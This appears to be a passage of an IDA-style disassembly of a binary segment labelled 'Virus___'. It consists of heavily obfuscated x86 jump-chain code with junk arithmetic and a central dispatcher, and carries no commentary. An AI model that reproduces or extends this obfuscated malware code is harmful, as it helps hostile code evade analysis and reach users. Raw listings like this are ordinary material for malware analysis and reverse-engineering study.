XREF: Virus___:0054418Cj mov bl, cl jmp loc_546D78 ; --------------------------------------------------------------------------- loc_5477B3: ; CODE XREF: sub_545A2B+565j add [esp-20h+arg_1A+2], 4 mov ebx, [esp-20h+arg_1A+2] add esp, 4 jmp loc_547E22 ; --------------------------------------------------------------------------- loc_5477C2: ; CODE XREF: sub_545A2B-E7Cj sub ch, ah mov eax, [esp-10h+arg_A+2] jmp loc_5483E3 ; --------------------------------------------------------------------------- loc_5477CC: ; CODE XREF: sub_545A2B+5CDAj add edi, 4 push ebx jmp loc_549B8E ; --------------------------------------------------------------------------- loc_5477D8: ; CODE XREF: sub_545A2B+53F8j mov edx, ebx pop ebx and ecx, edx mov edx, [esp-10h+arg_A+2] jmp loc_547125 ; --------------------------------------------------------------------------- loc_5477E5: ; CODE XREF: sub_545A2B+3184j mov esi, esp jmp loc_54DB8E ; --------------------------------------------------------------------------- loc_5477EC: ; CODE XREF: sub_545A2B+9646j mov eax, 443017F4h sub eax, 6276F10h shr eax, 1 not eax add eax, 7F3225F7h dec eax add eax, 135F3D5Ah jmp loc_54EDA1 ; --------------------------------------------------------------------------- loc_54780A: ; CODE XREF: sub_545A2B+6C45j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54780F: ; CODE XREF: sub_545A2B+603Fj xchg ebx, [esp-10h+arg_A+2] pop esp dec bh shr bh, 7 push ecx mov cl, 81h and bh, cl pop ecx push eax mov ah, 0B3h dec ah add ah, 12h sub ah, 0E4h jmp loc_54A870 ; --------------------------------------------------------------------------- loc_54782E: ; CODE XREF: sub_545A2B+94AFj pop ebx mov ecx, esi mov esi, [esp-14h+arg_E+2] add esp, 4 and [edi+1Ch], ecx pop ecx jmp loc_542F67 ; --------------------------------------------------------------------------- neg [esp-1Ch+arg_16+2] pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54784C: ; CODE XREF: sub_545A2B+5ECDj sub [esp-18h+arg_12+2], esi push ebx jmp loc_54EEFA ; --------------------------------------------------------------------------- loc_547855: ; CODE XREF: sub_545A2B-1CDEj add al, ch sub al, 0BAh sub al, 0A4h pop ecx xor bl, al jmp loc_54D257 ; --------------------------------------------------------------------------- loc_547863: ; CODE XREF: sub_545A2B-2038j xor cl, 1 jmp loc_54EC4D ; --------------------------------------------------------------------------- loc_54786B: ; CODE XREF: sub_545A2B+186Bj shr ecx, 8 shl ecx, 2 jmp loc_543DEB ; --------------------------------------------------------------------------- loc_547876: ; CODE XREF: sub_545A2B-12BEj push [esp-36h+arg_36] pop ebp pop [esp-36h+arg_32] pop esp mov [esp-3Eh+arg_3A], ebp push eax mov eax, 252B2E25h push esi jmp loc_5466E5 ; --------------------------------------------------------------------------- loc_54788E: ; CODE XREF: sub_545A2B+5C4Dj mov ebx, 10FC3212h and ebp, ebx pop ebx sub ebp, 70CF3E32h not ebp xor ebp, 1C554F11h or ecx, ebp mov ebp, [esp-3Ah+arg_36] add esp, 4 sub ecx, 0FFFFFEBBh jmp loc_54C1A7 ; --------------------------------------------------------------------------- loc_5478B7: ; CODE XREF: sub_545A2B-5FDj and edx, 1DDF2756h jmp loc_54EC6C ; --------------------------------------------------------------------------- loc_5478C2: ; CODE XREF: sub_545A2B+2F63j add esp, 4 sub eax, 1CA60728h add eax, 3C3C3981h add eax, ebx jmp loc_546AFC ; --------------------------------------------------------------------------- loc_5478D9: ; CODE XREF: sub_545A2B+271Bj neg bh push small 23CFh mov word ptr [esp-42h+arg_3E], ax mov al, bh push edx mov dh, al not dh mov al, dh pop edx mov bh, al jmp loc_54CA41 ; --------------------------------------------------------------------------- loc_5478F4: ; CODE XREF: sub_545A2B-9E6j pop eax pop edx add bl, 0B8h sub bl, 4Eh add bl, al add bl, 4Eh jmp loc_54B0B4 ; --------------------------------------------------------------------------- loc_547906: ; CODE XREF: sub_545A2B+4A3Dj push cx mov cl, 50h sub al, cl pop cx jmp loc_543E76 ; --------------------------------------------------------------------------- loc_547913: ; CODE XREF: sub_54CC16+9j xchg eax, [esp-28h+arg_22+2] mov esp, [esp-28h+arg_22+2] mov word ptr [esp-28h+arg_22+2], ax jmp loc_549268 ; --------------------------------------------------------------------------- loc_547922: ; CODE XREF: sub_545A2B+67ABj push esp pop edx sub esp, 4 mov [esp-24h+arg_1E+2], ecx push 0C10h mov [esp-20h+arg_1A+2], edi mov edi, 7E8877A5h jmp loc_5453EE ; --------------------------------------------------------------------------- loc_54793C: ; DATA XREF: Virus___:00542EC4o mov cx, word ptr [esp-20h+arg_1A+2] sub esp, 4 mov [esp-1Ch+arg_16+2], ebx push esp pop ebx jmp loc_543C7B ; --------------------------------------------------------------------------- mov cx, word ptr [esp-1Ch+arg_16+2] push 0D0h mov [esp-18h+arg_12+2], esi push ebx mov ebx, esp add ebx, 4 jmp loc_547CC2 ; --------------------------------------------------------------------------- loc_547967: ; DATA XREF: Virus___:00542E54o lodsd push ebx mov ebx, 0D7F1482h not ebx jmp loc_546E85 ; --------------------------------------------------------------------------- loc_547975: ; CODE XREF: sub_545A2B+28F1j push ebx push 4 jmp loc_544543 ; --------------------------------------------------------------------------- loc_547980: ; CODE XREF: sub_545A2B-F74j push 0 add [esp-4Ch+arg_46+2], 2C9506E4h jmp loc_544FF2 ; --------------------------------------------------------------------------- loc_547991: ; CODE XREF: sub_545A2B+B4Dj push edx mov edx, 0FFFFFFFFh add ecx, 45FA5C11h add ecx, edx sub ecx, 45FA5C11h mov edx, [esp-10h+arg_A+2] add esp, 4 push ebx mov ebx, 3A2B6907h xor ecx, ebx pop ebx xor eax, ecx pop ecx push 7B8Dh mov [esp-14h+arg_E+2], esi push 1 mov esi, [esp-10h+arg_A+2] add esp, 4 and eax, esi push [esp-14h+arg_E+2] pop esi jmp sub_54D226 ; --------------------------------------------------------------------------- loc_5479D5: ; CODE XREF: sub_545A2B+7E8Cj xchg ebx, [esp-14h+arg_E+2] not ebx jmp loc_543C92 ; --------------------------------------------------------------------------- loc_5479DF: ; CODE XREF: sub_545A2B+92B3j pop eax jmp loc_54DA47 ; --------------------------------------------------------------------------- loc_5479E5: ; CODE XREF: sub_545A2B-22BAj add edi, 625F1E2Dh xor edi, 5A677129h add eax, edi pop edi push ecx jmp loc_54837A ; --------------------------------------------------------------------------- loc_5479FA: ; CODE XREF: sub_545A2B+1316j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-2Eh+arg_2A] pop esp mov [esp-32h+arg_2E], edx mov edx, esp add edx, 4 sub edx, 2 jmp loc_54C1DB ; --------------------------------------------------------------------------- loc_547A20: ; CODE XREF: sub_545A2B+3374j xchg esi, ecx jmp loc_54F347 ; --------------------------------------------------------------------------- loc_547A27: ; CODE XREF: sub_545A2B+699Fj mov esp, [esp-32h+arg_2E] add esp, 4 div ecx push 446Ch mov [esp-32h+arg_2E], edx push eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-2Ah+arg_26] jmp loc_549E7F ; --------------------------------------------------------------------------- loc_547A47: ; CODE XREF: sub_545A2B-F69j xor ebx, edx pop edx or ecx, ebx pop ebx inc ecx xor ecx, 0D9F57DF1h jmp loc_549F71 ; --------------------------------------------------------------------------- loc_547A59: ; CODE XREF: sub_545A2B+9127j pop dword ptr [eax] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547A60: ; CODE XREF: sub_545A2B+45BCj push edx mov edx, 2FEC5877h sub esp, 4 jmp loc_54CF8E ; --------------------------------------------------------------------------- loc_547A6E: ; CODE XREF: sub_545A2B-1061j mov edi, 2 add esi, edi push [esp-50h+arg_4C] jmp loc_546514 ; --------------------------------------------------------------------------- loc_547A7D: ; CODE XREF: sub_545A2B+6FD9j add esp, 4 jmp loc_544C06 ; --------------------------------------------------------------------------- loc_547A88: ; CODE XREF: sub_545A2B+6595j mov [esp-50h+arg_4C], eax push 64820ED0h mov eax, [esp-4Ch+arg_46+2] jmp loc_54C8D2 ; --------------------------------------------------------------------------- loc_547A98: ; CODE XREF: sub_545A2B+94BCj push edx mov edx, 192F68AFh or edx, 6DE36CB4h shr edx, 4 push eax mov eax, 77C03096h shr eax, 5 push ebx mov ebx, 65BD09ADh add eax, ebx pop ebx shr eax, 8 jmp loc_54C75F ; --------------------------------------------------------------------------- loc_547AC1: ; CODE XREF: sub_54E630-9D56j xchg esi, [esp-44h+arg_3E+2] pop esp mov [esp-48h+arg_42+2], edi mov edi, esp add edi, 4 push 67B6h mov [esp-44h+arg_3E+2], esi jmp loc_545ABA ; --------------------------------------------------------------------------- loc_547ADD: ; CODE XREF: sub_545A2B+513Cj push edi mov edi, 285770CDh and edx, edi mov edi, [esp-40h+arg_3A+2] add esp, 4 jmp loc_54BFC5 ; --------------------------------------------------------------------------- push [esp-44h+arg_3E+2] pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-40h+arg_3A+2] pop esp jmp loc_54E191 ; --------------------------------------------------------------------------- loc_547B09: ; CODE XREF: sub_545A2B+835Ej sub eax, 0FF8F02h add ebx, eax jmp loc_54731F ; --------------------------------------------------------------------------- loc_547B15: ; CODE XREF: sub_545A2B+9042j mov esi, [esp-44h+arg_3E+2] push ebp jmp loc_54D0E0 ; --------------------------------------------------------------------------- loc_547B1E: ; CODE XREF: sub_545A2B+403Dj pop ecx sub esp, 4 mov [esp-40h+arg_3A+2], ebp mov ebp, 4 add ecx, ebp pop ebp sub esp, 4 mov [esp-40h+arg_3A+2], eax push 343700A0h pop eax xor eax, 343700A4h add ecx, eax pop eax xchg ecx, [esp-44h+arg_3E+2] mov esp, [esp-44h+arg_3E+2] push 5195h mov [esp-40h+arg_3A+2], esi jmp loc_5491F0 ; --------------------------------------------------------------------------- loc_547B57: ; CODE XREF: sub_545A2B+655Fj push eax mov eax, esp jmp loc_545839 ; --------------------------------------------------------------------------- loc_547B5F: ; CODE XREF: sub_545A2B+66Dj xchg edi, [esp-1Ch+arg_16+2] pop esp jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547B68: ; CODE XREF: sub_545A2B+7000j xor al, bh pop bx push eax push edx mov dl, 0AEh mov ah, dl jmp loc_545652 ; --------------------------------------------------------------------------- loc_547B77: ; CODE XREF: sub_545A2B-21C9j push edx mov dh, 2Dh push ebx mov bh, 64h shl bh, 2 xor bh, 0CFh add bh, 0BDh jmp loc_543DBF ; --------------------------------------------------------------------------- loc_547B8B: ; CODE XREF: sub_545A2B+243Ej mov ebp, eax mov eax, [esp-28h+arg_22+2] add esp, 4 add esi, ebp pop ebp xchg esi, [esp-30h+arg_2A+2] mov esp, [esp-30h+arg_2A+2] mov eax, [esp-30h+arg_2A+2] push edi push esp mov edi, [esp-28h+arg_22+2] add esp, 4 push 626h mov [esp-28h+arg_22+2], eax jmp sub_544364 ; --------------------------------------------------------------------------- loc_547BBA: ; CODE XREF: sub_545A2B+53B4j xor ebp, [esp-28h+arg_22+2] xor [esp-28h+arg_22+2], ebp xor ebp, [esp-28h+arg_22+2] mov esp, [esp-28h+arg_22+2] mov ax, word ptr [esp-28h+arg_22+2] jmp loc_546170 ; --------------------------------------------------------------------------- loc_547BCF: ; CODE XREF: sub_545A2B+4FAEj add edi, 2 xchg edi, [esp-28h+arg_22+2] pop esp btc word ptr [esp-2Ch+arg_26+2], ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547BE1: ; CODE XREF: sub_545A2B+E94j pop esp sub ebp, 29424AB3h jmp sub_543268 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-56h+arg_50+2] push 604Ch jmp loc_547263 ; --------------------------------------------------------------------------- loc_547BFB: ; CODE XREF: sub_545A2B+53EAj pop eax add esp, 4 push esi jmp loc_544809 ; --------------------------------------------------------------------------- loc_547C08: ; DATA XREF: Virus___:00542E3Co push dword ptr [edi+1Ch] popf pop cx rcr [esp-58h+arg_54], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547C17: ; CODE XREF: sub_54E352+25j pop eax push ecx push [esp-54h+arg_54] pop ecx pop [esp-54h+arg_50] mov esp, [esp-58h+arg_54] xor [esp-58h+arg_54], eax jmp loc_546DBB ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_54B141 ; --------------------------------------------------------------------------- loc_547C33: ; CODE XREF: sub_545A2B+4AFj pop edx push esi jmp loc_546008 ; --------------------------------------------------------------------------- loc_547C3A: ; CODE XREF: sub_545A2B+6CB2j mov ebp, [esp-3Ch+arg_36+2] add esp, 4 inc esi add esi, 70CD33CEh add esi, 32F97445h mov ebx, esi jmp loc_54BEC1 ; --------------------------------------------------------------------------- loc_547C57: ; CODE XREF: sub_545A2B+7EFAj mov [esp-40h+arg_3A+2], eax push 72122338h pop eax xor eax, 7212233Ch mov ebx, eax pop eax mov eax, ebx pop ebx sub ecx, 36427DCDh add ecx, eax add ecx, 36427DCDh jmp loc_5498AF ; --------------------------------------------------------------------------- loc_547C7E: ; CODE XREF: sub_545A2B-3DEj pop eax xchg ebx, [esp-18h+arg_12+2] mov esp, [esp-18h+arg_12+2] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547C8A: ; CODE XREF: sub_545A2B+5CA6j and edx, 0B16021Ch and edx, 24890C13h add edx, 3C576B64h add edi, edx jmp loc_543E17 ; --------------------------------------------------------------------------- loc_547CA3: ; CODE XREF: sub_543776+12j xor [esp-18h+arg_12+2], ebx xor ebx, [esp-18h+arg_12+2] mov esp, [esp-18h+arg_12+2] push eax push edx push 7EF5h mov [esp+0], ebx mov ebx, 79403BA4h mov edx, ebx jmp loc_54DCCA ; --------------------------------------------------------------------------- loc_547CC2: ; CODE XREF: sub_545A2B+1F37j sub ebx, 4 xchg ebx, [esp-14h+arg_E+2] pop esp jmp loc_548F18 ; --------------------------------------------------------------------------- loc_547CD1: ; CODE XREF: sub_545A2B+2364j add edi, 44319797h push ecx mov ecx, 2D771DB9h and ecx, 69C9207Ah add ecx, 6DD832BFh add ecx, 6A506AF3h neg ecx xor ecx, 0E63B2616h add edx, ecx pop ecx add edx, edi sub edx, 18AD4400h pop edi jmp loc_548428 ; --------------------------------------------------------------------------- loc_547D08: ; CODE XREF: sub_545A2B-E3Cj add edi, 4 push esi mov esi, 4 add edi, esi pop esi xchg edi, [esp-14h+arg_E+2] mov esp, [esp-14h+arg_E+2] xor ebx, eax push small word ptr [eax] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547D27: ; CODE XREF: sub_545A2B+4462j pop [esp-12h+arg_E] mov esp, [esp-16h+arg_12] mul cx push small 3326h mov word ptr [esp-14h+arg_E+2], dx push ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547D40: ; CODE XREF: sub_545A2B+2414j pop eax shr ebp, 4 sub ebp, 63D0248h sub ebp, 6BF5783h push eax mov eax, ebp push ecx mov ecx, eax mov [edx+38h], ecx pop ecx mov eax, [esp-0Eh+arg_A] add esp, 4 push [esp-12h+arg_E] pop ebp add esp, 4 loc_547D6D: ; CODE XREF: sub_543268+5j push ecx jmp loc_54C157 ; --------------------------------------------------------------------------- loc_547D73: ; CODE XREF: sub_545A2B-1795j mov edi, 659C053Ah push eax mov eax, 5AE812B1h sub edi, eax mov eax, [esp-22h+arg_1E] add esp, 4 shl edi, 5 shr edi, 4 jmp loc_547CD1 ; --------------------------------------------------------------------------- loc_547D94: ; CODE XREF: sub_545A2B+3A1Fj pop eax xor eax, 34AB67A5h jmp loc_5460F9 ; --------------------------------------------------------------------------- loc_547D9F: ; CODE XREF: sub_545A2B+5E68j mov dl, 0C5h dec dl inc dl jmp loc_546507 ; --------------------------------------------------------------------------- loc_547DAA: ; CODE XREF: sub_545A2B+5823j not eax sub eax, 0F2619D94h jmp loc_54833A ; --------------------------------------------------------------------------- push ebx jmp loc_546FE3 ; --------------------------------------------------------------------------- loc_547DBC: ; CODE XREF: sub_545A2B+853Ej add ebx, 381F0335h add ebx, 0BA23E32h add ebx, eax sub ebx, 0BA23E32h sub ebx, 381F0335h pop eax jmp loc_54BA2A ; --------------------------------------------------------------------------- loc_547DDC: ; CODE XREF: sub_545A2B+2A5Fj sub ebp, 3FACF6C0h jmp loc_5460F2 ; --------------------------------------------------------------------------- loc_547DE7: ; CODE XREF: sub_545A2B-1648j and ch, 41h add ch, 5Fh dec ch sub ch, 0BDh not ch add ch, 87h jmp loc_546690 ; --------------------------------------------------------------------------- loc_547DFC: ; CODE XREF: sub_545A2B-122Dj mov edx, 2 jmp loc_545064 ; --------------------------------------------------------------------------- loc_547E06: ; CODE XREF: sub_545A2B-AE0j sub eax, esi add eax, 0DC86102h push [esp-20h+arg_1A+2] jmp loc_54B279 ; --------------------------------------------------------------------------- loc_547E15: ; CODE XREF: sub_545A2B-1FB1j push 182h mov [esp-34h+arg_2E+2], esi jmp loc_546783 ; --------------------------------------------------------------------------- loc_547E22: ; CODE XREF: sub_545A2B+1D92j push eax jmp loc_546EA2 ; --------------------------------------------------------------------------- loc_547E28: ; CODE XREF: sub_545A2B-1672j add dh, 0E3h add dh, 0B6h jmp loc_54E497 ; --------------------------------------------------------------------------- off_547E33 dd offset dword_41E000+61768h ; DATA XREF: Virus___:00542E28o align 4 jmp loc_546D02 ; --------------------------------------------------------------------------- loc_547E3D: ; CODE XREF: sub_545A2B-4F0j sub ebp, eax jmp loc_547D40 ; --------------------------------------------------------------------------- loc_547E44: ; CODE XREF: sub_545A2B+3E7Fj sub esi, 20BD2B55h add esi, eax add esi, 20BD2B55h mov eax, [esp-3Ah+arg_36] add esp, 4 push ebp push eax push 2BB81DC8h pop eax shl eax, 6 dec eax sub eax, 0EE0771FBh jmp loc_547B8B ; --------------------------------------------------------------------------- loc_547E6E: ; CODE XREF: sub_545A2B+69Aj shr eax, 18h jmp loc_548016 ; --------------------------------------------------------------------------- loc_547E76: ; CODE XREF: sub_545A2B+63CBj mov [esp-3Ch+arg_36+2], ebx mov eax, [esp-3Ch+arg_36+2] jmp loc_54B536 ; --------------------------------------------------------------------------- loc_547E81: ; CODE XREF: sub_545A2B-6DCj add edx, 4 xchg edx, [esp-44h+arg_3E+2] pop esp jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547E90: ; CODE XREF: sub_545A2B+56ACj not eax or eax, 62F25885h shr eax, 4 push edx mov edx, 0F810D829h add eax, edx jmp loc_54BBCD ; --------------------------------------------------------------------------- loc_547EA7: ; CODE XREF: sub_545A2B+52F4j add eax, edi pop edi push eax jmp loc_54D1BD ; --------------------------------------------------------------------------- loc_547EB0: ; CODE XREF: sub_545A2B+3995j xor [esp-44h+arg_42+2], edi jmp loc_54C91D ; --------------------------------------------------------------------------- loc_547EB9: ; CODE XREF: sub_545A2B+2DB1j pop esi sub eax, ebx pop ebx push ebp jmp loc_54729B ; --------------------------------------------------------------------------- loc_547EC3: ; CODE XREF: sub_545A2B+7F66j mov [edi+eax*4+1], cl jmp loc_54A1E7 ; --------------------------------------------------------------------------- loc_547ECC: ; CODE XREF: sub_545A2B+44CBj not bh xchg bh, cl shl cl, 1 jmp loc_546A40 ; --------------------------------------------------------------------------- loc_547ED7: ; CODE XREF: sub_545A2B-BC8j add ebp, 4 jmp loc_544920 ; --------------------------------------------------------------------------- loc_547EE2: ; CODE XREF: sub_545A2B+C95j mov edi, 0A9C62D51h add ebp, edi pop edi or ebx, ebp pop ebp shl ebx, 6 push esi mov esi, 54511857h jmp loc_54F316 ; --------------------------------------------------------------------------- loc_547EFB: ; CODE XREF: sub_545A2B+2BBAj add ecx, ebx add ecx, 0EA54F9Ah jmp loc_549F3F ; --------------------------------------------------------------------------- loc_547F08: ; CODE XREF: sub_545A2B+12D2j push [esp-20h+arg_1E+2] pop edi jmp loc_54BA1C ; --------------------------------------------------------------------------- loc_547F12: ; CODE XREF: sub_545A2B+90A3j add esi, 4 add esi, 4 jmp loc_54329A ; --------------------------------------------------------------------------- loc_547F23: ; CODE XREF: sub_545A2B+32Ej or eax, 20856BB2h push edx mov edx, 539C7F74h jmp loc_546DD8 ; --------------------------------------------------------------------------- loc_547F33: ; CODE XREF: sub_545A2B+37E2j mov edx, [esp-8+arg_4] add esp, 4 jmp loc_544551 ; --------------------------------------------------------------------------- loc_547F41: ; CODE XREF: sub_545A2B+35F6j pop ebp and edx, ebp pop ebp jmp sub_54DA1B ; --------------------------------------------------------------------------- loc_547F4A: ; CODE XREF: sub_545A2B+9880j push ebx mov ebx, 60081CD7h and edi, ebx pop ebx sub edi, 0FFFFFFFFh push ecx mov ecx, 5C097F42h neg ecx shl ecx, 6 push edx jmp loc_5468E6 ; --------------------------------------------------------------------------- loc_547F6A: ; CODE XREF: sub_545A2B+1C12j push bx jmp loc_54EA64 ; --------------------------------------------------------------------------- loc_547F71: ; CODE XREF: sub_545A2B+889Dj mov edx, 4 add edi, edx pop edx push edi push [esp-10h+arg_E+2] jmp loc_545D0C ; --------------------------------------------------------------------------- loc_547F83: ; CODE XREF: sub_545A2B-1EF6j inc ah xor ah, 47h push edx mov dh, ah jmp loc_5439BE ; --------------------------------------------------------------------------- loc_547F90: ; CODE XREF: sub_545A2B+AD7j xor word ptr [esp-28h+arg_22+2], cx xor cx, word ptr [esp-28h+arg_22+2] xor word ptr [esp-28h+arg_22+2], cx jmp loc_542F67 ; --------------------------------------------------------------------------- loc_547FA1: ; DATA XREF: Virus___:00542EA0o push eax sub [esp-24h+arg_1E+2], 46C4054Fh push [esp-24h+arg_1E+2] pop eax push edi jmp loc_54328B ; --------------------------------------------------------------------------- mov ax, word ptr [esp-20h+arg_1A+2] push 0F42h mov [esp-1Ch+arg_16+2], ebx mov ebx, esp push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx push ebp push [esp-14h+arg_12+2] pop ebp jmp loc_549D58 ; --------------------------------------------------------------------------- loc_547FDE: ; CODE XREF: sub_545A2B+14EFj mov ebx, 29670CEAh inc ebx push edi mov edi, 3EC20FEFh add ebx, edi pop edi shr ebx, 5 jmp loc_54B0FA ; --------------------------------------------------------------------------- loc_547FF5: ; CODE XREF: sub_545A2B+6002j xor [esp-3Ch+arg_36+2], ebx xor ebx, [esp-3Ch+arg_36+2] jmp loc_543867 ; --------------------------------------------------------------------------- loc_548000: ; CODE XREF: sub_545A2B-F34j mov ebx, 360610DEh and edi, ebx jmp loc_548321 ; --------------------------------------------------------------------------- neg word ptr [esp-30h+arg_2A+2] pushf jmp loc_5461C0 ; --------------------------------------------------------------------------- loc_548016: ; CODE XREF: sub_545A2B+2446j xor eax, ecx jmp loc_549049 ; --------------------------------------------------------------------------- loc_54801D: ; CODE XREF: sub_545A2B+6416j add ecx, 4 add ecx, 4 xchg ecx, [esp-3Ch+arg_36+2] pop esp push ebx mov ebx, 2 add edi, 2C5A2B55h sub edi, 1CC65ADBh add edi, ebx add edi, 1CC65ADBh jmp loc_54643D ; --------------------------------------------------------------------------- loc_54804C: ; CODE XREF: sub_545A2B+6CFj add eax, 419177CAh jmp loc_548993 ; --------------------------------------------------------------------------- loc_548056: ; CODE XREF: sub_545A2B+222j mov edi, 42516DCh xor edi, 637040CBh jmp loc_548A6F ; --------------------------------------------------------------------------- loc_548066: ; CODE XREF: sub_545A2B+7AE7j push ebx mov bl, 76h shl bl, 4 sub esp, 4 mov [esp-18h+arg_12+2], edx mov dh, 6Eh sub dh, 1 not dh not dh push ecx mov ch, 3Fh jmp loc_544E35 ; --------------------------------------------------------------------------- loc_548086: ; CODE XREF: sub_545A2B+14F7j add eax, 4 jmp loc_54581A ; --------------------------------------------------------------------------- loc_548090: ; CODE XREF: sub_545A2B+372Bj pop ecx xor al, dl push [esp-28h+arg_22+2] pop edx add esp, 4 jmp loc_54457F ; --------------------------------------------------------------------------- loc_54809F: ; CODE XREF: sub_545A2B-F3Cj mov esp, [esp-48h+arg_42+2] rol [esp-48h+arg_42+2], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5480AB: ; CODE XREF: sub_545A2B-1DE5j sub esi, 71317989h xor esi, 48CD6A53h jmp loc_54E7DB ; --------------------------------------------------------------------------- loc_5480BC: ; CODE XREF: sub_545A2B+3E8Aj pop ecx pop [esp-34h+arg_2E+2] mov esp, [esp-38h+arg_32+2] push edx sub esp, 4 mov [esp-30h+arg_2A+2], esp add [esp-30h+arg_2A+2], 4 mov edx, [esp-30h+arg_2A+2] add esp, 4 jmp loc_54AC59 ; --------------------------------------------------------------------------- loc_5480DC: ; CODE XREF: sub_545A2B+8808j add ch, 0FFh jmp loc_54F2EA ; --------------------------------------------------------------------------- loc_5480E4: ; CODE XREF: sub_54E287-4C1j mov eax, [esp-34h+arg_2E+2] jmp loc_544129 ; --------------------------------------------------------------------------- loc_5480EC: ; CODE XREF: sub_545A2B+348Bj add eax, esi pop esi xor eax, [esp-38h+arg_32+2] jmp loc_54BE6B ; --------------------------------------------------------------------------- loc_5480F7: ; CODE XREF: sub_545A2B+5D6Dj add bl, 0EEh sub esp, 4 jmp loc_5497CB ; --------------------------------------------------------------------------- loc_548102: ; CODE XREF: sub_545A2B-1227j pop [esp-3Ah+arg_36] jmp loc_54694E ; --------------------------------------------------------------------------- loc_54810A: ; CODE XREF: sub_545A2B-B1j xchg edi, [esp-0Eh+arg_A] pop esp pop [esp-12h+arg_E] pop esp bt [esp-1Ah+arg_16], eax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54811C: ; CODE XREF: sub_545A2B+8BD9j sub esp, 4 jmp loc_54BE32 ; --------------------------------------------------------------------------- loc_548127: ; CODE XREF: sub_545A2B+836Cj add esi, ecx pop ecx xor esi, [esp-16h+arg_12] xor [esp-16h+arg_12], esi xor esi, [esp-16h+arg_12] mov esp, [esp-16h+arg_12] cmp cl, al pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54813E: ; CODE XREF: sub_545A2B-16DEj mov ecx, [esp-18h+arg_12+2] add esp, 4 neg bh jmp loc_5478D9 ; --------------------------------------------------------------------------- loc_54814B: ; CODE XREF: sub_545A2B+6026j xchg ah, bh not ah xchg ah, bh xor bh, 2Ah sub bh, 72h sub al, bh mov ebx, [esp-1Ch+arg_16+2] sub esp, 4 mov [esp-18h+arg_12+2], ecx jmp loc_54831A ; --------------------------------------------------------------------------- loc_54816A: ; CODE XREF: sub_545A2B+58C8j mov eax, ecx pop ecx jmp loc_5459DA ; --------------------------------------------------------------------------- loc_548172: ; CODE XREF: sub_545A2B-8DEj add ecx, eax jmp loc_54D53D ; --------------------------------------------------------------------------- loc_548179: ; CODE XREF: sub_545A2B+3FA7j pop ecx sub eax, 7CF41691h jmp loc_54CF37 ; --------------------------------------------------------------------------- loc_548184: ; DATA XREF: Virus___:00542D60o movzx ax, byte ptr fs:[edx] push small 77A0h mov word ptr [esp-46h+arg_42], ax jmp loc_542F67 ; --------------------------------------------------------------------------- loc_548196: ; CODE XREF: sub_54EB9E-97B5j add ebp, 4AB04C6Ah push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-42h+arg_3E] pop esp mov [esp-46h+arg_42], edx mov edx, 28F13DF2h xor ebp, edx mov edx, [esp-46h+arg_42] add esp, 4 push ebx mov ebx, 1 sub ebp, ebx pop ebx add ebp, 0F574C08Dh jmp loc_54F162 ; --------------------------------------------------------------------------- loc_5481D0: ; CODE XREF: sub_545A2B+63E7j sub ebx, esi jmp loc_5455FF ; --------------------------------------------------------------------------- loc_5481D7: ; CODE XREF: sub_545A2B+1AE6j add edx, 4 sub edx, 4 push edx push [esp-1Ah+arg_1A] pop edx pop [esp-1Ah+arg_16] mov esp, [esp-1Eh+arg_1A] jmp loc_548915 ; --------------------------------------------------------------------------- loc_5481F4: ; CODE XREF: sub_545A2B-11CBj add ecx, ebp pop ebp push eax jmp loc_54708D ; --------------------------------------------------------------------------- loc_5481FD: ; CODE XREF: sub_545A2B-1A7Fj mov [esp-3Ch+arg_36+2], ebp pop ecx mov ebp, [esp-40h+arg_3A+2] add esp, 4 push 39FDh mov [esp-40h+arg_3A+2], eax mov eax, 2E48246Fh jmp loc_54ED7B ; --------------------------------------------------------------------------- loc_54821C: ; CODE XREF: sub_545A2B+4A4Aj push eax mov ah, 67h mov dl, ah pop eax xor cl, dl pop dx xor al, cl mov cx, word ptr [esp-42h+arg_3E] add esp, 2 push ebx jmp loc_546A6E ; --------------------------------------------------------------------------- loc_548238: ; CODE XREF: sub_545A2B+6C57j mov ecx, 650F39DEh and ecx, 138B2CC8h or ecx, 25FE3098h not ecx push ebx mov ebx, 0DA00C723h jmp loc_544881 ; --------------------------------------------------------------------------- loc_548256: ; CODE XREF: sub_545A2B+868Ej mov al, 6 sub al, 9Dh push ecx mov ch, 11h sub ch, 0D0h jmp loc_545BEF ; --------------------------------------------------------------------------- loc_548265: ; CODE XREF: sub_545A2B+3B31j xor esi, 6E6A44B1h xor esi, 87D45D0Eh add ecx, esi pop esi push ecx jmp loc_5431F2 ; --------------------------------------------------------------------------- loc_54827A: ; CODE XREF: sub_545A2B+3A85j push [esp-3Ah+arg_36] pop ebp sub esp, 4 mov [esp-36h+arg_32], ecx push esp jmp loc_5482F1 ; --------------------------------------------------------------------------- loc_54828D: ; CODE XREF: sub_545A2B+65E7j xchg edi, ebx not edi jmp loc_5458DC ; --------------------------------------------------------------------------- loc_548296: ; CODE XREF: sub_545A2B+A37j shl edx, 1 push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] push [esp-44h+arg_3E+2] pop ecx push eax mov eax, esp jmp loc_54CB4E ; --------------------------------------------------------------------------- loc_5482AB: ; CODE XREF: sub_545A2B+3A7Dj pop ebx xor dh, 6Fh sub dh, 0D0h or dh, 0D8h xor dh, 7Ch shl dh, 1 add dh, 0A7h push edx mov dh, 9Eh sub dh, 4Ah add al, dh pop edx sub al, dh sub al, 54h pop edx push edx jmp loc_54B99E ; --------------------------------------------------------------------------- loc_5482D1: ; CODE XREF: 